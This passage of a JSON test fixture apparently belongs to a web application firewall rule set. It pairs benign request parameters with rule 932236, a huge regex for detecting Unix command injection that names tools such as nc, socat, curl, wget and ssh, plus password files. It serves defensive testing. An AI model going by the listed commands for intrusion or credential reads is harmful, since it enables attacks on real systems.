\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|grep|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "Remote Command Injection test for BB finding 935E1D91 - time evasion attempt" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "args=comment" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0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ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:t(?:[\\s\\x0b&\\),<>\\|]|$|-get)|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-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h))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "FP with word comment" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "args=settings" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x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\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|